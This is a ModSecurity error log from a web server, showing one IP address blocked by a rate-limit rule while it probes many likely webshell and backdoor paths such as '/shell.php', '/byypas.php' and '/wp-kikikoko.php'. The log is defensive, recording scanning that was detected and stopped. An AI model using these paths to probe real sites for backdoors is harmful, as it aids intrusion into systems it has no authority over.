[Thu Apr 23 10:40:41.720481 2026] [:error] [pid 42972:tid 43023] [client 20.216.138.65:54478] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aemGqcOAb-3sOknsk4dW5wAAAEc"]
[Thu Apr 23 10:40:42.245947 2026] [:error] [pid 46953:tid 46974] [client 20.216.138.65:54484] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aemGqknlpdHh-P6wKbraewAAAlI"]
[Thu Apr 23 10:40:42.799992 2026] [:error] [pid 43083:tid 43100] [client 20.216.138.65:54485] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aemGqjC5hrvNXosL83IvggAAAM8"]
[Thu Apr 23 10:40:43.328637 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:36116] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aemGq8OAb-3sOknsk4dW7gAAAE0"]
[Thu Apr 23 10:40:43.818453 2026] [:error] [pid 46953:tid 46961] [client 20.216.138.65:36121] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aemGq0nlpdHh-P6wKbrafwAAAkU"]
[Thu Apr 23 10:40:44.301098 2026] [:error] [pid 59700:tid 59703] [client 20.216.138.65:36122] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aemGrJXyGZJFeAIDWtmxOwAAAUE"]
[Thu Apr 23 10:40:44.837258 2026] [:error] [pid 46953:tid 46970] [client 20.216.138.65:36116] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aemGrEnlpdHh-P6wKbrahgAAAk4"]
[Thu Apr 23 10:40:45.326487 2026] [:error] [pid 46953:tid 46964] [client 20.216.138.65:30418] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aemGrUnlpdHh-P6wKbraiAAAAkg"]
[Thu Apr 23 10:40:45.845402 2026] [:error] [pid 42973:tid 43059] [client 20.216.138.65:36104] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aemGrW6I0QqmmmLTHE0d0QAAAJA"]
[Thu Apr 23 10:40:46.382646 2026] [:error] [pid 43083:tid 43087] [client 20.216.138.65:36099] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aemGrjC5hrvNXosL83IvjAAAAMI"]
[Thu Apr 23 10:40:46.863266 2026] [:error] [pid 59700:tid 59704] [client 20.216.138.65:36101] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aemGrpXyGZJFeAIDWtmxPwAAAUI"]
[Thu Apr 23 10:40:47.346950 2026] [:error] [pid 46953:tid 46963] [client 20.216.138.65:34313] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aemGr0nlpdHh-P6wKbraigAAAkc"]
[Thu Apr 23 10:40:47.890252 2026] [:error] [pid 46953:tid 46958] [client 20.216.138.65:34332] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aemGr0nlpdHh-P6wKbrajAAAAkI"]
[Thu Apr 23 10:40:48.402849 2026] [:error] [pid 65000:tid 65044] [client 20.216.138.65:54505] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aemGsL6vRb9j6psK2ZY2QgAAAgs"]
[Thu Apr 23 10:40:48.941802 2026] [:error] [pid 42973:tid 43067] [client 20.216.138.65:54479] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aemGsG6I0QqmmmLTHE0d1AAAAJg"]
[Thu Apr 23 10:40:49.539779 2026] [:error] [pid 42973:tid 43045] [client 20.216.138.65:34331] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aemGsW6I0QqmmmLTHE0d1gAAAII"]
[Thu Apr 23 10:40:50.181162 2026] [:error] [pid 42973:tid 43049] [client 20.216.138.65:36142] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aemGsm6I0QqmmmLTHE0d2gAAAIY"]
[Thu Apr 23 10:40:50.789326 2026] [:error] [pid 64998:tid 65017] [client 20.216.138.65:54483] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aemGsoV5EysYcTLjmwikUAAAAc8"]
[Thu Apr 23 10:40:51.396499 2026] [:error] [pid 42973:tid 43061] [client 20.216.138.65:54525] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aemGs26I0QqmmmLTHE0d2wAAAJI"]
[Thu Apr 23 10:40:52.058160 2026] [:error] [pid 42972:tid 43023] [client 20.216.138.65:36109] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aemGtMOAb-3sOknsk4dXCAAAAEc"]
[Thu Apr 23 10:40:52.753323 2026] [:error] [pid 64998:tid 65004] [client 20.216.138.65:36139] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aemGtIV5EysYcTLjmwikUwAAAcI"]
[Thu Apr 23 10:40:53.414625 2026] [:error] [pid 59700:tid 59719] [client 20.216.138.65:36120] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aemGtZXyGZJFeAIDWtmxQgAAAVE"]
[Thu Apr 23 10:40:54.084574 2026] [:error] [pid 59700:tid 59710] [client 20.216.138.65:36117] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aemGtpXyGZJFeAIDWtmxSAAAAUg"]
[Thu Apr 23 10:40:55.188290 2026] [:error] [pid 65000:tid 65057] [client 20.216.138.65:54481] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aemGt76vRb9j6psK2ZY2QwAAAhg"]
[Thu Apr 23 10:40:56.300306 2026] [:error] [pid 42972:tid 43028] [client 20.216.138.65:54499] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aemGuMOAb-3sOknsk4dXEwAAAEw"]
[Thu Apr 23 10:40:56.938556 2026] [:error] [pid 42973:tid 43059] [client 20.216.138.65:54517] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aemGuG6I0QqmmmLTHE0d4QAAAJA"]
[Thu Apr 23 10:40:57.562043 2026] [:error] [pid 42973:tid 43046] [client 20.216.138.65:36113] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aemGuW6I0QqmmmLTHE0d4gAAAIM"]
[Thu Apr 23 10:40:58.126557 2026] [:error] [pid 65000:tid 65050] [client 20.216.138.65:34326] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aemGur6vRb9j6psK2ZY2RAAAAhE"]
[Thu Apr 23 10:40:58.738610 2026] [:error] [pid 42973:tid 43067] [client 20.216.138.65:30439] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aemGum6I0QqmmmLTHE0d5AAAAJg"]
[Thu Apr 23 10:40:59.487221 2026] [:error] [pid 42973:tid 43045] [client 20.216.138.65:36154] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aemGu26I0QqmmmLTHE0d5QAAAII"]
[Thu Apr 23 10:41:00.211137 2026] [:error] [pid 42973:tid 43055] [client 20.216.138.65:36106] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aemGvG6I0QqmmmLTHE0d6AAAAIw"]
[Thu Apr 23 10:41:00.918724 2026] [:error] [pid 42973:tid 43049] [client 20.216.138.65:36124] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aemGvG6I0QqmmmLTHE0d6wAAAIY"]
[Thu Apr 23 10:41:01.548110 2026] [:error] [pid 64998:tid 65021] [client 20.216.138.65:36134] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aemGvYV5EysYcTLjmwikVwAAAdM"]
[Thu Apr 23 10:41:02.469881 2026] [:error] [pid 64998:tid 65019] [client 20.216.138.65:54494] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aemGvoV5EysYcTLjmwikWwAAAdE"]
[Thu Apr 23 10:41:03.129106 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:54515] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aemGv8OAb-3sOknsk4dXGwAAAE0"]
[Thu Apr 23 10:41:03.846950 2026] [:error] [pid 42972:tid 43038] [client 20.216.138.65:30412] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aemGv8OAb-3sOknsk4dXHgAAAFY"]
[Thu Apr 23 10:41:04.475557 2026] [:error] [pid 46953:tid 46973] [client 20.216.138.65:36110] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aemGwEnlpdHh-P6wKbrakQAAAlE"]
[Thu Apr 23 10:41:05.131896 2026] [:error] [pid 46953:tid 46966] [client 20.216.138.65:54514] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aemGwUnlpdHh-P6wKbrakgAAAko"]
[Thu Apr 23 10:41:05.693792 2026] [:error] [pid 46953:tid 46980] [client 20.216.138.65:36132] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aemGwUnlpdHh-P6wKbrakwAAAlc"]
[Thu Apr 23 10:41:06.450075 2026] [:error] [pid 42972:tid 43019] [client 20.216.138.65:54521] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aemGwsOAb-3sOknsk4dXLgAAAEM"]
[Thu Apr 23 10:41:07.110675 2026] [:error] [pid 42973:tid 43050] [client 20.216.138.65:36159] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aemGw26I0QqmmmLTHE0d8gAAAIc"]
[Thu Apr 23 10:41:07.749293 2026] [:error] [pid 42972:tid 43017] [client 20.216.138.65:54504] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aemGw8OAb-3sOknsk4dXNwAAAEE"]
[Thu Apr 23 10:41:08.301953 2026] [:error] [pid 46953:tid 46966] [client 20.216.138.65:54471] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aemGxEnlpdHh-P6wKbraqgAAAko"]
[Thu Apr 23 10:41:08.822989 2026] [:error] [pid 46953:tid 46980] [client 20.216.138.65:36144] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aemGxEnlpdHh-P6wKbrarAAAAlc"]
[Thu Apr 23 10:41:09.412128 2026] [:error] [pid 25635:tid 25648] [client 20.216.138.65:34323] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aemGxcRxv6UsgRGKB3IJWQAAAQk"]
[Thu Apr 23 10:41:10.147433 2026] [:error] [pid 65000:tid 65056] [client 20.216.138.65:34354] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aemGxr6vRb9j6psK2ZY2RgAAAhc"]
[Thu Apr 23 10:41:10.732333 2026] [:error] [pid 64998:tid 65018] [client 20.216.138.65:36107] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aemGxoV5EysYcTLjmwikZwAAAdA"]
[Thu Apr 23 10:41:11.300973 2026] [:error] [pid 64998:tid 65002] [client 20.216.138.65:34334] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aemGx4V5EysYcTLjmwikaAAAAcA"]
[Thu Apr 23 10:41:11.833058 2026] [:error] [pid 64998:tid 65021] [client 20.216.138.65:54490] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aemGx4V5EysYcTLjmwikagAAAdM"]
[Thu Apr 23 10:41:12.365864 2026] [:error] [pid 64998:tid 65016] [client 20.216.138.65:54467] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aemGyIV5EysYcTLjmwikawAAAc4"]
[Thu Apr 23 10:41:13.038585 2026] [:error] [pid 42972:tid 43021] [client 20.216.138.65:54527] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aemGycOAb-3sOknsk4dXOwAAAEU"]
[Thu Apr 23 10:41:13.606351 2026] [:error] [pid 42972:tid 43030] [client 20.216.138.65:36128] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aemGycOAb-3sOknsk4dXPQAAAE4"]
[Thu Apr 23 10:41:14.105366 2026] [:error] [pid 59700:tid 59707] [client 20.216.138.65:34357] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aemGypXyGZJFeAIDWtmxTgAAAUU"]
[Thu Apr 23 10:41:14.722752 2026] [:error] [pid 64998:tid 65025] [client 20.216.138.65:34362] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aemGyoV5EysYcTLjmwikbAAAAdc"]
[Thu Apr 23 10:41:15.282071 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:54509] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aemGy8OAb-3sOknsk4dXQQAAAE8"]
[Thu Apr 23 10:41:15.878567 2026] [:error] [pid 42972:tid 43022] [client 20.216.138.65:36131] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aemGy8OAb-3sOknsk4dXQwAAAEY"]
